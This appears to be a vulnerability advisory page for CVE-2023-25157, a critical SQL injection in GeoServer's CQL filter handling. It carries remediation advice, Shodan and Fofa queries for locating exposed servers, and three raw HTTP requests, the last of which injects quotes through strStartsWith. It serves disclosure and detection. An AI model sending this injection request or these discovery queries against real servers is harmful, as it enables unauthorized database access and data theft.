| Title | GeoServer OGC Filter - SQL Injection |
|---|---|
| Author | ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93866 |
| CVE ID | CVE-2023-25157 |
| CWE ID | CWE-89 |
| Shodan Query | title:"geoserver"http.title:"geoserver" |
| Fofa Query | title="geoserver"app="geoserver" |
| Tags | cve2023 cve geoserver ogc sqli intrusive osgeo vkev vuln |
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore encode functions setting to mitigate strEndsWith, strStartsWith and PropertyIsLike misuse and enable the PostGIS DataStore preparedStatements setting to mitigate the FeatureId misuse.
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept-Encoding: gzip
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=KMYoRq&maxFeatures=50&outputFormat=csv HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName=KMYoRq&CQL_FILTER=strStartswith(S2XUGH,%27%27%27%27)=true HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-25157.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-25157.pcap
N/AN/A